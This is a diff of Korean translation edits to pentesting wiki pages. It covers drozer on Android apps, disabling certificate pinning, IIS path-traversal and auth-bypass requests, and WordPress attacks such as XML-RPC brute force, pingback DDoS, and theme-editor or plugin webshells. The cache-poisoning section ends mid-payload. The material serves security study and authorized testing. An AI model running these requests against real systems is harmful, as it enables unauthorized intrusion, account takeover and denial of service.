| **exploit** | Drozer는 장치에서 실행할 수 있는 익스플로잇을 생성할 수 있습니다. `drozer exploit list` |
| **payload** | 익스플로잇에는 페이로드가 필요합니다. `drozer payload list` |
| **Help MODULE** | 선택한 모듈의 도움말을 표시합니다. |
| **list** | 현재 세션에서 실행할 수 있는 모든 drozer 모듈의 목록을 표시합니다. 적절한 권한이 없는 모듈은 숨겨집니다. |
| **shell** | 에이전트의 컨텍스트에서 장치에서 대화형 Linux 셸을 시작합니다. |
| **clean** | Android 장치에서 drozer가 저장한 임시 파일을 제거합니다. |
| **load** | drozer 명령이 포함된 파일을 로드하고 순차적으로 실행합니다. |
| **module** | 인터넷에서 추가 drozer 모듈을 찾아 설치합니다. |
| **unset** | drozer가 생성하는 모든 Linux 셸에 전달하는 이름이 있는 변수를 제거합니다. |
| **set** | drozer가 생성하는 모든 Linux 셸에 환경 변수로 전달될 값을 변수에 저장합니다. |
| **shell** | 에이전트의 컨텍스트에서 장치에서 대화형 Linux 셸을 시작합니다. |
| **run MODULE** | drozer 모듈을 실행합니다. |
| **exploit** | Drozer는 장치에서 실행할 수 있는 익스플로잇을 생성할 수 있습니다. `drozer exploit list` |
| **payload** | 익스플로잇에는 페이로드가 필요합니다. `drozer payload list` |
### 패키지
### Package
이름의 일부로 필터링하여 **패키지**의 **이름**을 찾습니다:
패키지의 **이름**을 이름의 일부로 필터링하여 찾습니다:
```bash
dz> run app.package.list -f sieve
com.mwr.example.sieve
@ -81,7 +81,7 @@ Defines Permissions:
- com.mwr.example.sieve.READ_KEYS
- com.mwr.example.sieve.WRITE_KEYS
```
**매니페스트**:
**매니페스트 읽기**:
```bash
run app.package.manifest jakhar.aseem.diva
```
@ -103,7 +103,7 @@ is debuggable
### 활동
내보내기된 활동 구성 요소의 “android:exported” 값이 AndroidManifest.xml 파일에서 **“true”**로 설정되어 있습니다:
```markup
```html
<activity android:name="com.my.app.Initial" android:exported="true">
</activity>
```
@ -115,9 +115,9 @@ com.mwr.example.sieve.FileSelectActivity
com.mwr.example.sieve.MainLoginActivity
com.mwr.example.sieve.PWList
```
**Start activity**:
**활동 시작**:
아마도 활동을 시작하고 이를 시작하는 것을 방지해야 하는 어떤 종류의 권한 부여를 우회할 수 있을 것입니다.
아마도 활동을 시작하고 이를 실행하는 것을 방지해야 하는 어떤 종류의 권한 부여를 우회할 수 있을 것입니다.
```bash
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
```
@ -134,11 +134,11 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
### Services
내보낸 서비스는 Manifest.xml 내에 선언됩니다:
```markup
내보낸 서비스는 Manifest.xml 내에 선언됩니다:
```html
<service android:name=".AuthService" android:exported="true" android:process=":remote"/>
```
코드 안에서 **check**를 위해 **`handleMessage`** 함수가 **메시지**를 **받는** 부분을 확인하세요:
코드 내부에서 **check**를 위해 **`handleMessage`** 함수가 **메시지**를 **받는**지 확인하세요:
![](<../../../images/image (82).png>)
@ -157,16 +157,16 @@ app.service.send Send a Message to a service, and display the reply
app.service.start Start Service
app.service.stop Stop Service
```
#### 예
#### 예
`app.service.send`에 대한 **drozer** 도움말을 확인하세요:
![](<../../../images/image (1079).png>)
먼저 "_msg.what_" 안의 데이터를 전송한 다음, "_msg.arg1_" 및 "_msg.arg2_"를 전송합니다. **어떤 정보가 사용되고 있는지** 코드 안에서 확인해야 합니다.\
`--extra` 옵션을 사용하면 "_msg.replyTo_"에 의해 해석되는 내용을 전송할 수 있으며, `--bundle-as-obj`를 사용하면 제공된 세부정보로 객체를 생성합니다.
`--extra` 옵션을 사용하면 "_msg.replyTo_"에 의해 해석되는 무언가를 전송할 수 있으며, `--bundle-as-obj`를 사용하면 제공된 세부정보로 객체를 생성합니다.
다음 예에서:
다음 예에서:
- `what == 2354`
- `arg1 == 9234`
@ -181,7 +181,7 @@ run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --m
**Android 기본 정보 섹션에서 Broadcast Receiver가 무엇인지 확인할 수 있습니다**.
이 Broadcast Receivers를 발견한 후에는 **코드를 확인**해야 합니다. **`onReceive`** 함수에 특별히 주의하세요. 이 함수는 수신된 메시지를 처리합니다.
이 Broadcast Receivers를 발견한 후에는 **코드를 확인**해야 합니다. 수신된 메시지를 처리할 **`onReceive`** 함수에 특별한 주의를 기울이세요.
#### **모든** broadcast receivers 감지
```bash
@ -228,7 +228,7 @@ run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --compo
```
### Is debuggeable
생산 APK는 절대 디버깅 가능해서는 안 됩니다.\
생산 APK는 절대 디버깅 가능해서는 안 됩니다.\
이것은 **자바 디버거**를 실행 중인 애플리케이션에 연결하고, 런타임에서 검사하고, 중단점을 설정하고, 단계별로 진행하며, 변수 값을 수집하고 심지어 변경할 수 있음을 의미합니다. [InfoSec institute has an excellent article](../exploiting-a-debuggeable-applciation.md) on digging deeper when you application is debuggable and injecting runtime code.
애플리케이션이 디버깅 가능할 때, 매니페스트에 나타납니다:

View File

@ -4,7 +4,7 @@
# 자동
도구 [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm)는 요청을 캡처하기 위해 애플리케이션에 필요한 변경 사항**자동으로** 수행하며, 인증서 핀닝을 비활성화합니다(있는 경우).
도구 [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm)는 요청을 캡처하기 위해 애플리케이션에 필요한 변경을 **자동으로** 수행하며, 인증서 핀닝을 비활성화합니다(있는 경우).
# 수동
@ -25,7 +25,7 @@
![](../../images/img11.png)
이제 **res/xml** 폴더로 들어가 network_security_config.xml이라는 파일을 생성하거나 수정하고 다음 내용을 추가합니다:
```markup
```html
<network-security-config>
<base-config>
<trust-anchors>
@ -41,6 +41,6 @@
![](../../images/img12.png)
마지막으로, **새 애플리케이션에 서명해야 합니다**. [서명하는 방법을 배우려면 이 페이지의 Smali - Decompiling/\[Modifying\]/Compiling 섹션을 읽으세요](smali-changes.md#sing-the-new-apk).
마지막으로, **새 애플리케이션에 서명해야** 합니다. [서명하는 방법을 배우려면 이 페이지의 Smali - Decompiling/\[Modifying\]/Compiling 섹션을 읽으세요](smali-changes.md#sing-the-new-apk).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -59,7 +59,7 @@ iisfinal.txt
전체 작성 내용은 다음에서 확인하세요: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
> [!NOTE]
> 요약하자면, 애플리케이션의 폴더 안에 "**assemblyIdentity**" 파일과 "**namespaces**"에 대한 참조가 있는 여러 web.config 파일이 있습니다. 이 정보를 통해 **실행 파일이 위치한 곳**을 알 수 있고 이를 다운로드할 수 있습니다.\
> 요약하자면, 애플리케이션의 폴더 안에 "**assemblyIdentity**" 파일과 "**namespaces**"에 대한 참조가 있는 여러 개의 web.config 파일이 있습니다. 이 정보를 통해 **실행 파일이 위치한 곳**을 알 수 있고 이를 다운로드할 수 있습니다.\
> **다운로드한 Dlls**에서 **새로운 namespaces**를 찾아 접근하고 web.config 파일을 얻어 새로운 namespaces와 assemblyIdentity를 찾을 수 있습니다.\
> 또한, **connectionstrings.config****global.asax** 파일에는 흥미로운 정보가 포함될 수 있습니다.
@ -67,8 +67,8 @@ iisfinal.txt
### **이진 파일 탐색**
**web.config** 파일에 접근하는 예는 아래에 나와 있습니다:
```markup
**web.config** 파일에 접근하는 예시는 아래와 같습니다:
```html
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
```
@ -89,20 +89,20 @@ Host: example-mvc-application.minded
### **네임스페이스 및 Web.Config**
MVC 애플리케이션은 각 파일에서 반복적인 선언을 피하기 위해 특정 네임스페이스에 대한 추가 **web.config 파일**도 정의합니다. 이는 다른 **web.config**를 다운로드 요청하는 예로 보여집니다:
```markup
```html
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
Host: example-mvc-application.minded
```
### **DLL 다운로드**
사용자 정의 네임스페이스의 언급은 /bin 디렉토리에 있는 "**WebApplication1**"이라는 DLL을 암시합니다. 그에 따라 **WebApplication1.dll**을 다운로드하는 요청이 표시됩니다:
```markup
사용자 정의 네임스페이스의 언급은 /bin 디렉토리에 있는 "**WebApplication1**"이라는 DLL을 암시합니다. 그에 따라 **WebApplication1.dll**을 다운로드하는 요청이 표시됩니다:
```html
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
Host: example-mvc-application.minded
```
이것은 /bin 디렉토리에 **System.Web.Mvc.dll** 및 **System.Web.Optimization.dll**과 같은 다른 필수 DLL의 존재를 시사합니다.
DLL이 **WebApplication1.Areas.Minded**라는 네임스페이스를 가져오는 시나리오에서, 공격자는 **/area-name/Views/**와 같은 예측 가능한 경로에 다른 web.config 파일의 존재를 추론할 수 있으며, 이 파일들은 /bin 폴더의 다른 DLL에 대한 특정 구성 및 참조를 포함하고 있습니다. 예를 들어, **/Minded/Views/web.config**에 대한 요청은 다른 DLL **WebApplication1.AdditionalFeatures.dll**의 존재를 나타내는 구성 및 네임스페이스를 드러낼 수 있습니다.
DLL이 **WebApplication1.Areas.Minded**라는 네임스페이스를 가져오는 시나리오에서, 공격자는 **/area-name/Views/**와 같은 예측 가능한 경로에 다른 web.config 파일의 존재를 추론할 수 있으며, 이 파일들은 /bin 폴더에 있는 다른 DLL에 대한 특정 구성 및 참조를 포함할 수 있습니다. 예를 들어, **/Minded/Views/web.config**에 대한 요청은 다른 DLL **WebApplication1.AdditionalFeatures.dll**의 존재를 나타내는 구성 및 네임스페이스를 드러낼 수 있습니다.
### 일반 파일
@ -192,7 +192,7 @@ C:\xampp\tomcat\conf\server.xml
서버가 **Host 헤더 내에서 올바른 도메인 이름을 받지 못했다는 의미**입니다.\
웹 페이지에 접근하기 위해 제공된 **SSL 인증서**를 확인해 볼 수 있으며, 그 안에서 도메인/서브도메인 이름을 찾을 수 있을지도 모릅니다. 만약 없다면, **VHosts를 무작위로 시도**하여 올바른 것을 찾아야 할 수도 있습니다.
## 살펴볼 가치가 있는 오래된 IIS 취약점
## 확인할 가치가 있는 오래된 IIS 취약점
### Microsoft IIS 물결 문자 “\~” 취약점/기능 짧은 파일/폴더 이름 노출
@ -211,9 +211,9 @@ C:\xampp\tomcat\conf\server.xml
### 기본 인증 우회
**IIS 7.5**의 기본 인증을 **우회**하려면 다음에 접근해 보십시오: `/admin:$i30:$INDEX_ALLOCATION/admin.php` 또는 `/admin::$INDEX_ALLOCATION/admin.php`
**IIS 7.5**의 기본 인증을 **우회**하려면 다음에 접근해 보세요: `/admin:$i30:$INDEX_ALLOCATION/admin.php` 또는 `/admin::$INDEX_ALLOCATION/admin.php`
이 **취약점**과 마지막 취약점을 **혼합**하여 새로운 **폴더**를 찾고 **인증을 우회**할 수 있습니다.
이 **취약점**과 마지막 취약점을 **혼합**하여 새로운 **폴더**를 찾고 인증을 **우회**할 수 있습니다.
## ASP.NET Trace.AXD 활성화된 디버깅
@ -237,11 +237,11 @@ ASPXAUTH는 다음 정보를 사용합니다:
- **`decryptionKey`** (문자열): 복호화에 사용할 헥스 인코딩된 키.
그러나 일부 사람들은 이러한 매개변수의 **기본값**을 사용하고 **사용자의 이메일을 쿠키로 사용**합니다. 따라서 ASPXAUTH 쿠키를 사용하는 **동일한 플랫폼**의 웹을 찾고, 공격 대상 서버에서 **가짜 사용자로 가장하고자 하는 사용자의 이메일로 사용자 계정을 생성**하면, **두 번째 서버의 쿠키를 첫 번째 서버에서 사용하여 사용자를 가장할 수 있습니다.**\
이 공격은 이 [**작성물**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19)에서 성공습니다.
이 공격은 이 [**작성물**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19)에서 성공적으로 수행되었습니다.
## 캐시된 비밀번호로 IIS 인증 우회 (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
[전체 보고서 여기](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): 코드의 버그가 **사용자가 제공한 비밀번호를 제대로 확인하지 않았기 때문에**, 비밀번호 해시가 이미 **캐시**에 있는 키와 일치하는 공격자는 해당 사용자로 로그인할 수 있습니다.
[전체 보고서 여기](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): 코드의 버그가 **사용자가 제공한 비밀번호를 제대로 확인하지 않았기 때문에**, 비밀번호 해시가 **캐시**에 이미 있는 키에 해당하는 공격자는 해당 사용자로 로그인할 수 있습니다.
```python
# script for sanity check
> type test.py

View File

@ -91,7 +91,7 @@ curl -s -I -X GET http://blog.example.com/?author=1
```
응답이 **200** 또는 **30X**인 경우, id가 **유효**하다는 의미입니다. 응답이 **400**인 경우, id가 **유효하지** 않다는 의미입니다.
- **wp-json:** 사용자에 대한 정보를 쿼리하여 얻으려고 할 수 있습니다:
- **wp-json:** 사용자에 대한 정보를 쿼리하여 얻으려고 시도할 수 있습니다:
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
@ -103,7 +103,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
또한 **/wp-json/wp/v2/pages**는 IP 주소를 유출할 수 있습니다.
- **로그인 사용자 이름 열거**: **`/wp-login.php`**에 로그인할 때 **메시지**는 **사용자 이름이 존재하는지 여부에 따라 다릅니다**.
- **로그인 사용자 이름 열거**: **`/wp-login.php`**에 로그인할 때 **메시지**는 **사용자 이름이 존재하는지 여부**에 따라 **다릅니다**.
### XML-RPC
@ -112,7 +112,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
활성화되어 있는지 확인하려면 _**/xmlrpc.php**_에 접근하고 이 요청을 보내십시오:
**확인**
```markup
```html
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
@ -123,7 +123,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
**자격 증명 무차별 대입**
**`wp.getUserBlogs`**, **`wp.getCategories`** 또는 **`metaWeblog.getUsersBlogs`**는 자격 증명을 무차별 대입하는 데 사용할 수 있는 몇 가지 방법입니다. 이 중 하나를 찾을 수 있다면 다음과 같은 요청을 보낼 수 있습니다:
```markup
```html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
@ -139,7 +139,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
![](<../../images/image (721).png>)
올바른 자격 증명을 사용하면 파일을 업로드할 수 있습니다. 응답에는 경로가 나타납니다 ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```markup
```html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
@ -174,13 +174,13 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
**2FA 우회**
이 방법은 프로그램을 위한 것이지 인간을 위한 것이 아니며, 오래된 방법이기 때문에 2FA를 지원하지 않습니다. 따라서 유효한 자격 증명이 있지만 주요 출입구가 2FA로 보호되어 있는 경우, **xmlrpc.php를 악용하여 해당 자격 증명으로 2FA를 우회하여 로그인할 수 있을지도 모릅니다**. 콘솔을 통해 수행할 수 있는 모든 작업을 수행할 수는 없지만, Ippsec이 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)에서 설명한 것처럼 RCE에 도달할 수 있을지도 모릅니다.
이 방법은 프로그램을 위한 것이며 인간을 위한 것이 아니므로 오래된 방법으로 2FA를 지원하지 않습니다. 따라서 유효한 자격 증명이 있지만 주요 출입구가 2FA로 보호되어 있는 경우, **xmlrpc.php를 악용하여 해당 자격 증명으로 2FA를 우회하여 로그인할 수 있을지도 모릅니다**. 콘솔을 통해 수행할 수 있는 모든 작업을 수행할 수는 없지만, Ippsec이 [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)에서 설명한 것처럼 RCE에 도달할 수 있을지도 모릅니다.
**DDoS 또는 포트 스캐닝**
목록에서 _**pingback.ping**_ 방법을 찾을 수 있다면, Wordpress가 임의의 요청을 어떤 호스트/포트로 보낼 수 있습니다.\
이를 사용하여 **수천** 개의 Wordpress **사이트**에 **하나의 위치**에 **접속**하도록 요청할 수 있습니다(따라서 해당 위치에서 **DDoS**가 발생함). 또는 **Wordpress**를 사용하여 일부 내부 **네트워크**를 **스캔**하도록 할 수 있습니다(어떤 포트 지정할 수 있습니다).
```markup
목록에서 _**pingback.ping**_ 방법을 찾을 수 있다면, Wordpress가 임의의 요청을 어떤 호스트/포트로 보낼 수 있습니다.\
이를 사용하여 **수천** 개의 Wordpress **사이트**에 **하나의 위치**에 **접속**하도록 요청할 수 있습니다(따라서 해당 위치에서 **DDoS**가 발생함) 또는 **Wordpress**를 사용하여 일부 내부 **네트워크**를 **스캔**하도록 할 수 있습니다(어떤 포트 지정할 수 있습니다).
```html
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
@ -196,7 +196,7 @@ curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
이 방법을 악용하여 DDoS를 유발하는 방법을 배우려면 이전 섹션에서 **`system.multicall`**의 사용을 살펴보세요.
**DDoS**
```markup
```html
<methodCall>
<methodName>pingback.ping</methodName>
<params>
@ -239,7 +239,7 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
```
## 비트를 덮어써서 접근하기
실제 공격이라기보다는 호기심입니다. CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man)에서 모든 워드프레스 파일의 1비트를 뒤집을 수 있었습니다. 따라서 `/var/www/html/wp-includes/user.php` 파일의 `5389` 위치를 뒤집어 NOT (`!`) 연산을 NOP로 만들 수 있었습니다.
실제 공격이라기보다는 호기심입니다. CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man)에서 워드프레스 파일의 비트 하나를 뒤집을 수 있었습니다. 따라서 `/var/www/html/wp-includes/user.php` 파일의 `5389` 위치를 뒤집어 NOT (`!`) 연산을 NOP로 만들 수 있었습니다.
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
@ -250,11 +250,11 @@ return new WP_Error(
외관 → 테마 편집기 → 404 템플릿 (오른쪽)
php 을 위한 내용을 변경합니다:
php 을 위한 내용을 변경합니다:
![](<../../images/image (384).png>)
업데이트된 페이지에 어떻게 접근할 수 있는지 인터넷에서 검색하세요. 이 경우 여기로 접근해야 합니다: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
업데이트된 페이지에 어떻게 접근할 수 있는지 인터넷에서 검색합니다. 이 경우 여기로 접근해야 합니다: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
@ -285,7 +285,7 @@ to get a session.
![](<../../images/image (70).png>)
아마도 이것은 겉보기에는 아무것도 하지 않을 것입니다. 하지만 미디어로 가면 업로드된 셸을 볼 수 있습니다:
아마도 이것은 겉으로 보기에는 아무것도 하지 않을 것입니다. 하지만 미디어로 가면 업로드된 셸을 볼 수 있습니다:
![](<../../images/image (462).png>)
@ -293,18 +293,18 @@ to get a session.
![](<../../images/image (1006).png>)
### Uploading and activating malicious plugin
### 악성 플러그인 업로드 및 활성화
이 방법은 취약한 것으로 알려진 악성 플러그인을 설치하여 웹 셸을 얻는 것니다. 이 과정은 다음과 같이 WordPress 대시보드를 통해 수행됩니다:
이 방법은 취약한 것으로 알려진 악성 플러그인을 설치하여 웹 셸을 얻는 것을 포함합니다. 이 과정은 다음과 같이 WordPress 대시보드를 통해 수행됩니다:
1. **Plugin Acquisition**: 플러그인은 Exploit DB와 같은 출처에서 얻습니다 [**여기**](https://www.exploit-db.com/exploits/36374).
2. **Plugin Installation**:
1. **플러그인 획득**: 플러그인은 Exploit DB와 같은 출처에서 얻습니다 [**여기**](https://www.exploit-db.com/exploits/36374).
2. **플러그인 설치**:
- WordPress 대시보드로 이동한 후 `대시보드 > 플러그인 > 플러그인 업로드`로 이동합니다.
- 다운로드한 플러그인의 zip 파일을 업로드합니다.
3. **Plugin Activation**: 플러그인이 성공적으로 설치되면 대시보드를 통해 활성화해야 합니다.
4. **Exploitation**:
- "reflex-gallery" 플러그인이 설치되고 활성화되면 취약한 것으로 알려져 있어 악용할 수 있습니다.
- Metasploit 프레임워크는 이 취약점에 대한 익스플로잇을 제공합니다. 적절한 모듈을 로드하고 특정 명령을 실행하여 meterpreter 세션을 설정할 수 있으며, 이를 통해 사이트에 대한 무단 접근을 허용합니다.
3. **플러그인 활성화**: 플러그인이 성공적으로 설치되면 대시보드를 통해 활성화해야 합니다.
4. **악용**:
- "reflex-gallery" 플러그인이 설치되고 활성화되면, 취약한 것으로 알려져 있어 악용할 수 있습니다.
- Metasploit 프레임워크는 이 취약점에 대한 익스플로잇을 제공합니다. 적절한 모듈을 로드하고 특정 명령을 실행함으로써 meterpreter 세션을 설정하여 사이트에 대한 무단 접근을 허용합니다.
- 이는 WordPress 사이트를 악용하는 많은 방법 중 하나일 뿐입니다.
내용에는 플러그인을 설치하고 활성화하는 WordPress 대시보드의 단계를 보여주는 시각적 도구가 포함되어 있습니다. 그러나 이러한 방식으로 취약점을 악용하는 것은 적절한 권한 없이 불법이며 비윤리적이라는 점에 유의해야 합니다. 이 정보는 책임감 있게 사용해야 하며, 명시적인 허가가 있는 침투 테스트와 같은 법적 맥락에서만 사용해야 합니다.
@ -315,7 +315,7 @@ to get a session.
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_는 **Cross-Site Scripting (XSS)** 취약점을 **Remote Code Execution (RCE)** 또는 WordPress의 다른 중요한 취약점으로 상승시키기 위해 설계된 스크립트입니다. 자세한 내용은 [**이 게시물**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)을 확인하세요. **Wordpress Versions 6.X.X, 5.X.X 및 4.X.X를 지원하며 다음을 허용합니다:**
- _**Privilege Escalation:**_ WordPress에 사용자를 생성합니다.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ 사용자 정의 플러그인(백도어)을 WordPress에 업로드합니다.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ WordPress에 사용자 정의 플러그인(백도어)을 업로드합니다.
- _**(RCE) Built-In Plugin Edit:**_ WordPress의 내장 플러그인을 편집합니다.
- _**(RCE) Built-In Theme Edit:**_ WordPress의 내장 테마를 편집합니다.
- _**(Custom) Custom Exploits:**_ 서드파티 WordPress 플러그인/테마에 대한 사용자 정의 익스플로잇.
@ -345,14 +345,14 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
```
**`nopriv`의 사용은 엔드포인트를 모든 사용자(인증되지 않은 사용자 포함)가 접근할 수 있도록 만듭니다.**
**`nopriv`의 사용은 엔드포인트를 모든 사용자(인증되지 않은 사용자 포함)가 접근할 수 있 만듭니다.**
> [!CAUTION]
> 또한, 만약 함수가 `wp_verify_nonce` 함수를 사용하여 사용자의 권한을 확인하고 있다면, 이 함수는 사용자가 로그인했는지만 확인하고, 일반적으로 사용자의 역할을 확인하지 않습니다. 따라서 권한이 낮은 사용자가 권한이 높은 작업에 접근할 수 있습니다.
> 게다가, 만약 함수가 `wp_verify_nonce` 함수를 사용하여 사용자의 권한을 확인하고 있다면, 이 함수는 사용자가 로그인했는지만 확인하고, 일반적으로 사용자의 역할을 확인하지 않습니다. 따라서 권한이 낮은 사용자가 권한이 높은 작업에 접근할 수 있습니다.
- **REST API**
`register_rest_route` 함수를 사용하여 wordpress에서 REST API를 등록하여 함수를 노출하는 것도 가능합니다:
`register_rest_route` 함수를 사용하여 워드프레스에서 REST API를 등록하여 함수를 노출하는 것도 가능합니다:
```php
register_rest_route(
$this->namespace, '/get/', array(
@ -364,15 +364,15 @@ $this->namespace, '/get/', array(
```
`permission_callback`는 주어진 사용자가 API 메서드를 호출할 수 있는 권한이 있는지 확인하는 함수에 대한 콜백입니다.
**내장된 `__return_true` 함수를 사용하면 사용자 권한 확인을 간단히 건너뜁니다.**
**내장된 `__return_true` 함수를 사용하면 사용자 권한 검사를 단순히 건너뜁니다.**
- **php 파일에 직접 접근**
- **PHP 파일에 직접 접근**
물론, WordPress는 PHP를 사용하며 플러그인 내부의 파일은 웹에서 직접 접근할 수 있습니다. 따라서 플러그인이 파일에 접근하는 것만으로도 트리거되는 취약한 기능을 노출하는 경우, 모든 사용자가 이를 악용할 수 있습니다.
## WordPress 보호
### 정기 업데이트
### 정기적인 업데이트
WordPress, 플러그인 및 테마가 최신 상태인지 확인하십시오. 또한 wp-config.php에서 자동 업데이트가 활성화되어 있는지 확인하십시오:
```bash
@ -392,7 +392,7 @@ add_filter( 'auto_update_theme', '__return_true' );
- 기본 **admin** 사용자 제거
- **강력한 비밀번호**와 **2FA** 사용
- 주기적으로 사용자 **권한** 검토
- 주기적으로 **사용자 권한** 검토
- 무차별 대입 공격을 방지하기 위해 **로그인 시도 제한**
- **`wp-admin.php`** 파일 이름 변경 및 내부 또는 특정 IP 주소에서만 접근 허용.

View File

@ -11,12 +11,12 @@
## 캐시 오염
캐시 오염은 클라이언트 측 캐시를 조작하여 클라이언트가 예상치 못한, 부분적이거나 공격자가 제어하는 리소스를 로드하도록 강제하는 것을 목표로 합니다. 영향의 정도는 영향을 받는 페이지의 인기 여부에 따라 달라지며, 오염된 응답은 캐시 오염 기간 동안 해당 페이지를 방문하는 사용자에게만 제공됩니다.
캐시 오염은 클라이언트 측 캐시를 조작하여 클라이언트가 예상치 못한, 부분적이거나 공격자가 제어하는 리소스를 로드하도록 강제하는 것을 목표로 합니다. 영향의 정도는 영향을 받는 페이지의 인기 여부에 따라 달라지며, 오염된 응답은 캐시 오염 기간 동안 페이지를 방문하는 사용자에게만 제공됩니다.
캐시 오염 공격의 실행에는 여러 단계가 포함됩니다:
1. **키가 없는 입력 식별**: 이는 요청이 캐시되기 위해 필수적이지는 않지만, 서버가 반환하는 응답을 변경할 수 있는 매개변수입니다. 이러한 입력을 식별하는 것은 캐시를 조작하는 데 악용될 수 있으므로 중요합니다.
2. **키가 없는 입력 악용**: 키가 없는 입력을 식별한 후, 다음 단계는 이러한 매개변수를 잘못 사용하여 서버의 응답을 공격자에게 유리하게 수정하는 방법을 파악하는 것입니다.
1. **키가 없는 입력 식별**: 이러한 매개변수는 요청이 캐시되기 위해 필요하지 않지만, 서버가 반환하는 응답을 변경할 수 있습니다. 이러한 입력을 식별하는 것은 캐시를 조작하는 데 악용될 수 있으므로 중요합니다.
2. **키가 없는 입력 악용**: 키가 없는 입력을 식별한 후, 다음 단계는 이러한 매개변수를 잘못 사용하여 공격자에게 유리한 방식으로 서버의 응답을 수정하는 방법을 파악하는 것입니다.
3. **오염된 응답이 캐시되도록 보장**: 마지막 단계는 조작된 응답이 캐시에 저장되도록 보장하는 것입니다. 이렇게 하면 캐시가 오염된 동안 영향을 받는 페이지에 접근하는 모든 사용자가 오염된 응답을 받게 됩니다.
### 발견: HTTP 헤더 확인
@ -25,7 +25,7 @@
### 발견: 캐시 오류 코드
응답이 캐시에 저장되고 있다고 생각된다면, **잘못된 헤더로 요청을 보내는** 것을 시도해 볼 수 있습니다. 이 경우 **상태 코드 400**으로 응답해야 합니다. 그런 다음 요청을 정상적으로 접근해 보고, **응답이 400 상태 코드**라면 취약하다는 것을 알 수 있습니다(DoS를 수행할 수도 있습니다).
응답이 캐시에 저장되고 있다고 생각된다면, **잘못된 헤더로 요청을 보내** 보십시오. 이 경우 **상태 코드 400**으로 응답해야 합니다. 그런 다음 요청을 정상적으로 접근해보고 **응답이 400 상태 코드**인 경우, 취약하다는 것을 알 수 있습니다(DoS를 수행할 수도 있습니다).
더 많은 옵션은 다음에서 찾을 수 있습니다:
@ -33,12 +33,12 @@
cache-poisoning-to-dos.md
{{#endref}}
하지만 **때때로 이러한 상태 코드가 캐시되지 않을 수** 있으므로 이 테스트는 신뢰할 수 없을 수 있습니다.
그러나 **때때로 이러한 종류의 상태 코드는 캐시되지 않기 때문에** 이 테스트가 신뢰할 수 없을 수 있습니다.
### 발견: 키가 없는 입력 식별 및 평가
[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)를 사용하여 **응답을 변경할 수 있는 매개변수와 헤더를 브루트 포스**할 수 있습니다. 예를 들어, 페이지가 클라이언트가 그곳에서 스크립트를 로드하도록 지시하기 위해 `X-Forwarded-For` 헤더를 사용할 수 있습니다:
```markup
[**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943)를 사용하여 **응답을 변경할 수 있는 매개변수와 헤더를 브루트 포스**할 수 있습니다. 예를 들어, 페이지가 클라이언트가 스크립트를 로드하도록 `X-Forwarded-For` 헤더를 사용하고 있을 수 있습니다:
```html
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
```
### 백엔드 서버에서 유해한 응답 유도하기
@ -64,7 +64,7 @@ cache-poisoning-to-dos.md
헤더 `X-Forwarded-For`가 응답에 정화되지 않고 반영되고 있습니다.\
기본 XSS 페이로드를 전송하고 캐시를 오염시켜 페이지에 접근하는 모든 사람이 XSS에 노출되도록 할 수 있습니다:
```markup
